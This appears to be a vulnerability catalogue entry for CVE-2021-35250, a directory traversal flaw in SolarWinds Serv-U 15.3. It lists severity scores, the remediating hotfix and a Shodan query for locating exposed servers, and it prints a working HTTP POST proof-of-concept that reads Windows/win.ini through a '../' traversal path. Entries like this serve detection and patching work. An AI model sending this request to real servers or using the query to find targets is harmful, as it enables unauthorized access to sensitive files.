| Title | SolarWinds Serv-U 15.3 - Directory Traversal |
|---|---|
| Author | johnk3r,pdteam |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks. |
| Remediation | Resolved in Serv-U 15.3 Hotfix 1. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89975 |
| CVE ID | CVE-2021-35250 |
| CWE ID | CWE-22 |
| Shodan Query | product:"Rhinosoft Serv-U httpd"product:"rhinosoft serv-u httpd" |
| Tags | cve2021 cve solarwinds traversal vkev vuln |
SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/?Command=NOOP
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35250.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-35250.pcap
N/AN/A